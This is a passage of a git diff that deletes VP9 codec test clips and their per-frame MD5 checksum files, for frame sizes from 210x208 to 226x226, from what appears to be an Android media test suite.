--- a/tests/tests/media/res/raw/vp90_2_03_size_210x208_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-1156d318c00d299cf5bdc7e485966dab  vp90-2-03-size-210x208-210x208-0001.i420
-a8094f8f1e7e04e54251bee8c4c800ce  vp90-2-03-size-210x208-210x208-0002.i420
-e2a07d99ffe1cfe6b9fce36e93677fe1  vp90-2-03-size-210x208-210x208-0003.i420
-63d179b00816dbad75b778d2c23955c6  vp90-2-03-size-210x208-210x208-0004.i420
-407de5fb2dfdd52e6173905b09ff22f2  vp90-2-03-size-210x208-210x208-0005.i420
-36900199c56310e651723de4e3ad2f2c  vp90-2-03-size-210x208-210x208-0006.i420
-908db56e975b5db07af17fdc51b12be8  vp90-2-03-size-210x208-210x208-0007.i420
-400e32490b1262009a481cc331a00e44  vp90-2-03-size-210x208-210x208-0008.i420
-dc43b786cba033cc92b9921d12f7b3d7  vp90-2-03-size-210x208-210x208-0009.i420
-e8c94c5965c729f5d1ef3ba4509c97c8  vp90-2-03-size-210x208-210x208-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_210x210.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_210x210.vp9
deleted file mode 100644
index ad6e896..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_210x210.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_210x210_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_210x210_vp9_md5
deleted file mode 100644
index 6b88d01..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_210x210_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-b65725c68978bdaaafdf735dfbafa9e3  vp90-2-03-size-210x210-210x210-0001.i420
-35be2f16bd5dedc9d3f7a016f0d71701  vp90-2-03-size-210x210-210x210-0002.i420
-8c2873a97b51510d7449869e24a348f5  vp90-2-03-size-210x210-210x210-0003.i420
-724a30e8ae539e797db8889dc08aec5e  vp90-2-03-size-210x210-210x210-0004.i420
-e3ae1246a63ea22afd026bfb859fe165  vp90-2-03-size-210x210-210x210-0005.i420
-7e1fa363cf3f44c7a3019f29c14a6da4  vp90-2-03-size-210x210-210x210-0006.i420
-c6f26619ab5687a2a698c8766b79f2eb  vp90-2-03-size-210x210-210x210-0007.i420
-be5b8c50a772afe95d72bf3cc7c4fd2f  vp90-2-03-size-210x210-210x210-0008.i420
-9eab1417ac249ce31c79750143d52084  vp90-2-03-size-210x210-210x210-0009.i420
-9d2455048dbc3cdc2343a818c5a2bcb1  vp90-2-03-size-210x210-210x210-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_210x224.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_210x224.vp9
deleted file mode 100644
index 4a01426..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_210x224.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_210x224_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_210x224_vp9_md5
deleted file mode 100644
index 7bd7a82..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_210x224_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-bb903b926c4b34ae336e21d65ad8fd25  vp90-2-03-size-210x224-210x224-0001.i420
-c4c0bc3b112487e994d22176817ace3c  vp90-2-03-size-210x224-210x224-0002.i420
-24e699f7a92ab1b0fe12e0b747470b5b  vp90-2-03-size-210x224-210x224-0003.i420
-200f403694d3acfda63f52e8373f1420  vp90-2-03-size-210x224-210x224-0004.i420
-6df417a8ec1810562301c89724b739d1  vp90-2-03-size-210x224-210x224-0005.i420
-55757b633d8fe669fc0f507dab4fa9f7  vp90-2-03-size-210x224-210x224-0006.i420
-45bc82bee02cb45422be3ac1019896d0  vp90-2-03-size-210x224-210x224-0007.i420
-4aaf5d07d2796910767d5084556c9cf9  vp90-2-03-size-210x224-210x224-0008.i420
-f100fa26da47250b98d95a18915f521d  vp90-2-03-size-210x224-210x224-0009.i420
-f5a8def53b4638b6ce7c8588d595d0ad  vp90-2-03-size-210x224-210x224-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_210x226.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_210x226.vp9
deleted file mode 100644
index f88afa6..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_210x226.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_210x226_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_210x226_vp9_md5
deleted file mode 100644
index 48fa3d4..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_210x226_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-03707b2f5c392933f7336f380423a0a1  vp90-2-03-size-210x226-210x226-0001.i420
-b388553c79573555a3b660f5e36d4e36  vp90-2-03-size-210x226-210x226-0002.i420
-a1a7fd8ba7fb0fe7733cdf5440c7c1f3  vp90-2-03-size-210x226-210x226-0003.i420
-9daff7ef71dd54951f0b75a902065259  vp90-2-03-size-210x226-210x226-0004.i420
-60218a4b8bc0a5b0b40fa560a40fb4c0  vp90-2-03-size-210x226-210x226-0005.i420
-21229bfed833468fafc27ce93db1450c  vp90-2-03-size-210x226-210x226-0006.i420
-7aa290c6e503315d7aa3517258d5f63a  vp90-2-03-size-210x226-210x226-0007.i420
-63fd08ae2e859ff3d874ab2c2ce41a42  vp90-2-03-size-210x226-210x226-0008.i420
-725b371247fae28ef4b912368738df64  vp90-2-03-size-210x226-210x226-0009.i420
-7cf2d8d9e464307311b499ff0c3ea05e  vp90-2-03-size-210x226-210x226-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_224x196.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_224x196.vp9
deleted file mode 100644
index 8fd0876..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_224x196.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_224x196_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_224x196_vp9_md5
deleted file mode 100644
index 3edb492..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_224x196_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-3ffc096f1b42b4d319d4a9efbefc7625  vp90-2-03-size-224x196-224x196-0001.i420
-78b3655d5cad30fa6b2c2d8fd29463de  vp90-2-03-size-224x196-224x196-0002.i420
-ab197553d9599b2a03aff62d1d694848  vp90-2-03-size-224x196-224x196-0003.i420
-be368d1f3d3fcc710565b5433940f0df  vp90-2-03-size-224x196-224x196-0004.i420
-374c5db60ea9c110b871bb45be0efff1  vp90-2-03-size-224x196-224x196-0005.i420
-ec50085400d626de5833bc0a94d9941f  vp90-2-03-size-224x196-224x196-0006.i420
-d4ae69937e2a8d9bf2023d4215749635  vp90-2-03-size-224x196-224x196-0007.i420
-9b0b81eb6d62b8014e0639932fe35bc0  vp90-2-03-size-224x196-224x196-0008.i420
-cd02d0cc268e6b6df0b2dbd3f3b137e6  vp90-2-03-size-224x196-224x196-0009.i420
-5322ba1085c114f93534e1761a0d8aa1  vp90-2-03-size-224x196-224x196-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_224x198.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_224x198.vp9
deleted file mode 100644
index c0b6e4c..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_224x198.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_224x198_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_224x198_vp9_md5
deleted file mode 100644
index d0b35cd..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_224x198_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-cf35dffc80946e87bb9d3e18aab9d320  vp90-2-03-size-224x198-224x198-0001.i420
-a76ac92f05e9b097f8ac5882e1ffe656  vp90-2-03-size-224x198-224x198-0002.i420
-faa1e8a11c9df3e9c9a9dafbebea6d04  vp90-2-03-size-224x198-224x198-0003.i420
-905a28289c8ac793b335096ca7f84e1d  vp90-2-03-size-224x198-224x198-0004.i420
-cb480fa6977baf98a74bddf213ecba82  vp90-2-03-size-224x198-224x198-0005.i420
-35224d3708e3ba1dafcc58b803d5ea77  vp90-2-03-size-224x198-224x198-0006.i420
-d166d764e87854bca47ab7a2bc8b1f9b  vp90-2-03-size-224x198-224x198-0007.i420
-562f1e06ae36abba5f1fb53e3d6cd7e8  vp90-2-03-size-224x198-224x198-0008.i420
-1599cebef060f6464aeef15aacbde446  vp90-2-03-size-224x198-224x198-0009.i420
-3316ebca2864a9dc04db86069efb1dd1  vp90-2-03-size-224x198-224x198-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_224x200.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_224x200.vp9
deleted file mode 100644
index 94cc4c7..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_224x200.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_224x200_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_224x200_vp9_md5
deleted file mode 100644
index bb368ce..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_224x200_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-0819e6d715c9b4d94f05f63a7ca86199  vp90-2-03-size-224x200-224x200-0001.i420
-9b9a4b01ed4c8a93687e45245b3092a3  vp90-2-03-size-224x200-224x200-0002.i420
-3a076f5b8dba60552e84a391ee04d1c7  vp90-2-03-size-224x200-224x200-0003.i420
-7aafc561f5b96e9d286bd8deb5687774  vp90-2-03-size-224x200-224x200-0004.i420
-daa43a89ab6b2761eedaa183e33a3465  vp90-2-03-size-224x200-224x200-0005.i420
-c14874409872357b11b65f35a283e058  vp90-2-03-size-224x200-224x200-0006.i420
-37d2ef52a9c694b2596d58ed9ca0d90b  vp90-2-03-size-224x200-224x200-0007.i420
-c97bc860c006896d80f52ccc0759f472  vp90-2-03-size-224x200-224x200-0008.i420
-5f8618114a723a017e39a1af695996f3  vp90-2-03-size-224x200-224x200-0009.i420
-ee8234fc5ccd41d05eb87e1510f9795e  vp90-2-03-size-224x200-224x200-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_224x202.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_224x202.vp9
deleted file mode 100644
index ac4f494..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_224x202.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_224x202_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_224x202_vp9_md5
deleted file mode 100644
index 0c6b78c..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_224x202_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-e1e3b4af5910383ff6f66b6ab1a29544  vp90-2-03-size-224x202-224x202-0001.i420
-8668ef92b72f35728ebb456665d48b95  vp90-2-03-size-224x202-224x202-0002.i420
-dffc7c28f86f07bf28451292990e9594  vp90-2-03-size-224x202-224x202-0003.i420
-aebfb446fa6d48db36dbd9b5cd147f1e  vp90-2-03-size-224x202-224x202-0004.i420
-e3c6cb8c5bb3a26928493bfc297ab827  vp90-2-03-size-224x202-224x202-0005.i420
-68dabae76c1d27ab0e1079d99cb6d413  vp90-2-03-size-224x202-224x202-0006.i420
-d1f7745eef748688f3871d00a7e67ef8  vp90-2-03-size-224x202-224x202-0007.i420
-36738851cc2af83fd250dea4cd63941b  vp90-2-03-size-224x202-224x202-0008.i420
-16c0315c43427e7e6719806a89551703  vp90-2-03-size-224x202-224x202-0009.i420
-c4d589c0ea4cdfc1dd6dff72084c61fd  vp90-2-03-size-224x202-224x202-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_224x208.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_224x208.vp9
deleted file mode 100644
index 47eae820..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_224x208.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_224x208_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_224x208_vp9_md5
deleted file mode 100644
index 1bcdd2c..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_224x208_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-85f08afadfd1204d4131b9ee9c8cc10b  vp90-2-03-size-224x208-224x208-0001.i420
-f893de5432a082b3dffcf7499827f548  vp90-2-03-size-224x208-224x208-0002.i420
-cb81e0d7b657bc5a4a9cf8ad75a76a77  vp90-2-03-size-224x208-224x208-0003.i420
-8a40842123965731c15fc23fb6366d1d  vp90-2-03-size-224x208-224x208-0004.i420
-09c6d92af14a3fcfb12705cd5da57f2a  vp90-2-03-size-224x208-224x208-0005.i420
-6bede4dc8770df534b599021b0425309  vp90-2-03-size-224x208-224x208-0006.i420
-334b0b0448e9e4e6a0cddcd2e3a0af3f  vp90-2-03-size-224x208-224x208-0007.i420
-09f491f0f3870ef96cff0384cd7183d1  vp90-2-03-size-224x208-224x208-0008.i420
-c9e5f81186ac947a77b051c8f0e76eac  vp90-2-03-size-224x208-224x208-0009.i420
-917565c3327bff78b53a78ea739472ff  vp90-2-03-size-224x208-224x208-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_224x210.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_224x210.vp9
deleted file mode 100644
index 50d6389..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_224x210.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_224x210_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_224x210_vp9_md5
deleted file mode 100644
index d522202..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_224x210_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-427421e5fd2087c6ff7b87a27982332f  vp90-2-03-size-224x210-224x210-0001.i420
-b68311fd44e189e4174ac357d5415068  vp90-2-03-size-224x210-224x210-0002.i420
-2c822ff45be7a1ea412d21ff82c7bc1d  vp90-2-03-size-224x210-224x210-0003.i420
-34659186d93516eae1dd4d9a391d1c3f  vp90-2-03-size-224x210-224x210-0004.i420
-1990dd822abc3a10f511589db5aa50f4  vp90-2-03-size-224x210-224x210-0005.i420
-4a4dc076172c79d9fde3e17b47109835  vp90-2-03-size-224x210-224x210-0006.i420
-51874c79850120537fa5c405721d0107  vp90-2-03-size-224x210-224x210-0007.i420
-15d7897a128de9be90be17f1679012c9  vp90-2-03-size-224x210-224x210-0008.i420
-a8d9480accf8585e94161a5f7c371cef  vp90-2-03-size-224x210-224x210-0009.i420
-8a9d3f09561b895b423ae9428f620b9b  vp90-2-03-size-224x210-224x210-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_224x224.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_224x224.vp9
deleted file mode 100644
index 6397922..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_224x224.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_224x224_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_224x224_vp9_md5
deleted file mode 100644
index 1a8a55e..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_224x224_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-bedd5d2725ffff06a50e23841bc2dfb8  vp90-2-03-size-224x224-224x224-0001.i420
-8c363f68b0b30f507563516aa99e23ac  vp90-2-03-size-224x224-224x224-0002.i420
-9cb7d51ca4439614dc3f5980507a4d32  vp90-2-03-size-224x224-224x224-0003.i420
-b393a18de28ab6b8d1c6afd67a7794e0  vp90-2-03-size-224x224-224x224-0004.i420
-81f69ee1e3d89cb78cac192c352f7741  vp90-2-03-size-224x224-224x224-0005.i420
-aabb51f029a9a02e71524cf3500931e9  vp90-2-03-size-224x224-224x224-0006.i420
-6581aec620c508d2b42ccceaa2c6044d  vp90-2-03-size-224x224-224x224-0007.i420
-993cde759158c30dcf0f0a9fdcdfb0d8  vp90-2-03-size-224x224-224x224-0008.i420
-85985ae8d35514d601800a06c8226625  vp90-2-03-size-224x224-224x224-0009.i420
-0eba1d7c193e473586e4a5c87d0e0d21  vp90-2-03-size-224x224-224x224-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_224x226.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_224x226.vp9
deleted file mode 100644
index 7672e82..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_224x226.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_224x226_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_224x226_vp9_md5
deleted file mode 100644
index b3a8eee..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_224x226_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-dca556e648a576b3973fbe4b34d0328c  vp90-2-03-size-224x226-224x226-0001.i420
-34a49e4aba4aca5c76ab0f751341c32b  vp90-2-03-size-224x226-224x226-0002.i420
-4b7cc6d500b273efe7e30fc3a3946f74  vp90-2-03-size-224x226-224x226-0003.i420
-1960f0f1edf9196c96b0de742a3cd53c  vp90-2-03-size-224x226-224x226-0004.i420
-3cb7d90178636911c5d53a5f8e75599c  vp90-2-03-size-224x226-224x226-0005.i420
-84b56c60c2282f85102048cc2cf40b88  vp90-2-03-size-224x226-224x226-0006.i420
-3ca34d2978307ec0fca05130d81bcc26  vp90-2-03-size-224x226-224x226-0007.i420
-c15560be737e02ea9d1deeca0af9bb77  vp90-2-03-size-224x226-224x226-0008.i420
-391439789a6aa7bb02d7e699795a9559  vp90-2-03-size-224x226-224x226-0009.i420
-9f681e91cbcbe9920f21236b8ff093c7  vp90-2-03-size-224x226-224x226-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_226x196.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_226x196.vp9
deleted file mode 100644
index e88ffc4..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_226x196.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_226x196_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_226x196_vp9_md5
deleted file mode 100644
index a995846..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_226x196_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-4757a31842453f806de2f2256329547e  vp90-2-03-size-226x196-226x196-0001.i420
-fe5fb955a4143091c5bfae7c4a4afe0f  vp90-2-03-size-226x196-226x196-0002.i420
-93766c5a03d71f99afb7705add7b63f0  vp90-2-03-size-226x196-226x196-0003.i420
-30c91162aa6fb0ed3e47325146bb6d8a  vp90-2-03-size-226x196-226x196-0004.i420
-501fe67785b970b1b62c2ae0b36b19ad  vp90-2-03-size-226x196-226x196-0005.i420
-836be5e778e3d20e75c4fcd71f765b3d  vp90-2-03-size-226x196-226x196-0006.i420
-21a9fd5e78212fe71719e173844bc6e6  vp90-2-03-size-226x196-226x196-0007.i420
-81b3919208e345d93dde62740b47dd93  vp90-2-03-size-226x196-226x196-0008.i420
-df010555a929ba88a2f25c6267e3786e  vp90-2-03-size-226x196-226x196-0009.i420
-d2cff8282e5e7a5bbd879c73df0670c3  vp90-2-03-size-226x196-226x196-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_226x198.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_226x198.vp9
deleted file mode 100644
index fa201ed..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_226x198.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_226x198_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_226x198_vp9_md5
deleted file mode 100644
index 3c4d3f5b..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_226x198_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-b97087eb8c53cf56dc44576912654fb2  vp90-2-03-size-226x198-226x198-0001.i420
-219bb68a59dc166806a5b5689a943b66  vp90-2-03-size-226x198-226x198-0002.i420
-67b2ec19dd3b74d828b51912c25249d6  vp90-2-03-size-226x198-226x198-0003.i420
-73dd9625538e10a0f94d31ac9fe3db23  vp90-2-03-size-226x198-226x198-0004.i420
-51e68f201130da18beb0cb27adcf6fa9  vp90-2-03-size-226x198-226x198-0005.i420
-455d9753b3c0ac5ad7d9da022f69acd0  vp90-2-03-size-226x198-226x198-0006.i420
-60a8905a63db4cdd2560583fb6415030  vp90-2-03-size-226x198-226x198-0007.i420
-48c156f4b2c9f936487b43713a4573fd  vp90-2-03-size-226x198-226x198-0008.i420
-a5c8f4190cb34b3ecd42ca8e09bf1646  vp90-2-03-size-226x198-226x198-0009.i420
-233a5d5187137e047993532fc2e725d3  vp90-2-03-size-226x198-226x198-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_226x200.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_226x200.vp9
deleted file mode 100644
index a61270b..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_226x200.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_226x200_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_226x200_vp9_md5
deleted file mode 100644
index edab982..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_226x200_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-0ae27db338f73f37eaed806b1c789593  vp90-2-03-size-226x200-226x200-0001.i420
-3f69273752f43699a3bc7b22a88cc3aa  vp90-2-03-size-226x200-226x200-0002.i420
-ce0dfafb59910241d2b1a2275a2c2143  vp90-2-03-size-226x200-226x200-0003.i420
-8d20f404e25766c819ee728858bcbc76  vp90-2-03-size-226x200-226x200-0004.i420
-67bc5604c5b0f6c3484b605c1f93c83a  vp90-2-03-size-226x200-226x200-0005.i420
-1c82def3a06430d205cce0db7b5714de  vp90-2-03-size-226x200-226x200-0006.i420
-654d7a676e3b8b64541ed8cdefbd7286  vp90-2-03-size-226x200-226x200-0007.i420
-6c80c78c7b652c5b3b117a0960e89951  vp90-2-03-size-226x200-226x200-0008.i420
-ae73e3c69ec6747c5234d58c5e1e36eb  vp90-2-03-size-226x200-226x200-0009.i420
-e40d716efd8caf2d4004d299fb914328  vp90-2-03-size-226x200-226x200-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_226x202.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_226x202.vp9
deleted file mode 100644
index 28732e2..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_226x202.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_226x202_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_226x202_vp9_md5
deleted file mode 100644
index 80e7ac2..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_226x202_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-0cd2876640e71de3a6df7839bd6f0b51  vp90-2-03-size-226x202-226x202-0001.i420
-f887db6839c0cddd1ea9ae6bfd2cc16d  vp90-2-03-size-226x202-226x202-0002.i420
-ff2a890cf4c4973bf181ba8424c2eadc  vp90-2-03-size-226x202-226x202-0003.i420
-f69f2e4f3036a21deb43a0bf4b95771f  vp90-2-03-size-226x202-226x202-0004.i420
-93f511739c19f1a3b356dda39d945c93  vp90-2-03-size-226x202-226x202-0005.i420
-7f79633c93765b504fef0324bd10fdba  vp90-2-03-size-226x202-226x202-0006.i420
-d6c53d3937c9a40b227b4486452e0b33  vp90-2-03-size-226x202-226x202-0007.i420
-4e26625e8997ad6fe08ae68fbdfdbfd7  vp90-2-03-size-226x202-226x202-0008.i420
-3bf4c8ac0279351bf904cf57b0fc13c1  vp90-2-03-size-226x202-226x202-0009.i420
-12d64d856025185fa9e610dfa62b05af  vp90-2-03-size-226x202-226x202-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_226x208.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_226x208.vp9
deleted file mode 100644
index f88a8b8..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_226x208.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_226x208_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_226x208_vp9_md5
deleted file mode 100644
index 364227a..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_226x208_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-6006cac6628cf9e7cea58aec07471b06  vp90-2-03-size-226x208-226x208-0001.i420
-f7e994921248b6933920c984880ec96c  vp90-2-03-size-226x208-226x208-0002.i420
-c0aeeb9d2009538d8d5e837f45e1542d  vp90-2-03-size-226x208-226x208-0003.i420
-7dacf9d00e85bd52045eb47bae5225b3  vp90-2-03-size-226x208-226x208-0004.i420
-024fd008a099ae954e38a3f0a8ebb6c9  vp90-2-03-size-226x208-226x208-0005.i420
-fb6c368a1b3578ab59aa30e0b5cc4853  vp90-2-03-size-226x208-226x208-0006.i420
-07815251f7020b627c365a7a7be694c7  vp90-2-03-size-226x208-226x208-0007.i420
-db8b8f48f3693867d2bd8208cf4f929a  vp90-2-03-size-226x208-226x208-0008.i420
-88b42d943c0978d832333a8a3f7b6bbc  vp90-2-03-size-226x208-226x208-0009.i420
-7aa760190f9328ba4f6fa87d1d9e8d3e  vp90-2-03-size-226x208-226x208-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_226x210.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_226x210.vp9
deleted file mode 100644
index 2a60796..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_226x210.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_226x210_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_226x210_vp9_md5
deleted file mode 100644
index f4afd83..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_226x210_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-a6c1b7686202f5cc64335f92be595309  vp90-2-03-size-226x210-226x210-0001.i420
-3e573d4c693a39c5d6cd46b8873e99bb  vp90-2-03-size-226x210-226x210-0002.i420
-d2388f6f641c8ddec98f11493f1a1390  vp90-2-03-size-226x210-226x210-0003.i420
-16473e33532ebc8de2f02077c406346b  vp90-2-03-size-226x210-226x210-0004.i420
-6c75d1c01276838fce40837e373f49db  vp90-2-03-size-226x210-226x210-0005.i420
-b718e7445e2b08dde78fa7f30be01346  vp90-2-03-size-226x210-226x210-0006.i420
-2f556ed5afd60b1bbae76984ce073107  vp90-2-03-size-226x210-226x210-0007.i420
-4e5d59daed044c39a14c35f18cb4fb7a  vp90-2-03-size-226x210-226x210-0008.i420
-c14901a9906ffcd0eb1efc068ce32941  vp90-2-03-size-226x210-226x210-0009.i420
-3d73b7f87bcd16c1ec565b5cc8d0fe93  vp90-2-03-size-226x210-226x210-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_226x224.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_226x224.vp9
deleted file mode 100644
index 8735e4d..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_226x224.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_226x224_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_226x224_vp9_md5
deleted file mode 100644
index 24df8e0..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_226x224_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-80fb3a643384386beadc0991f171669d  vp90-2-03-size-226x224-226x224-0001.i420
-65a4a51163f49a75f8eeecd94cb2ba47  vp90-2-03-size-226x224-226x224-0002.i420
-d5b2aac9889d2991b83fd4360ada0258  vp90-2-03-size-226x224-226x224-0003.i420
-7958ff5535358567ea7df351d78256a7  vp90-2-03-size-226x224-226x224-0004.i420
-7e7413b9a61967d0ade07b81944e9a15  vp90-2-03-size-226x224-226x224-0005.i420
-40a008016adbf9673adbbc4c0edb4454  vp90-2-03-size-226x224-226x224-0006.i420
-fef7b5e2809ef79917ab394a067ef4be  vp90-2-03-size-226x224-226x224-0007.i420
-91ee2360faf46a25b95927c55eea603f  vp90-2-03-size-226x224-226x224-0008.i420
-a47f14a80a529f79f97accbe23188046  vp90-2-03-size-226x224-226x224-0009.i420
-3613bcd41ff13006fbba3bd0087c44f4  vp90-2-03-size-226x224-226x224-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_226x226.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_226x226.vp9
deleted file mode 100644
index c7f8202..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_226x226.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_226x226_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_226x226_vp9_md5
deleted file mode 100644
index 24f20a6..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_226x226_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-f2370fc802dafdf5082beffc1907a9c6  vp90-2-03-size-226x226-226x226-0001.i420
-aad6de7b986234a1d621935b272501c9  vp90-2-03-size-226x226-226x226-0002.i420
-8a6d3784e22e3b4f735e78916fbc3821  vp90-2-03-size-226x226-226x226-0003.i420
-0c4afce19c43fdf3bb1b972810cc9126  vp90-2-03-size-226x226-226x226-0004.i420
-814a68dd76a3135221131988910f51ba  vp90-2-03-size-226x226-226x226-0005.i420
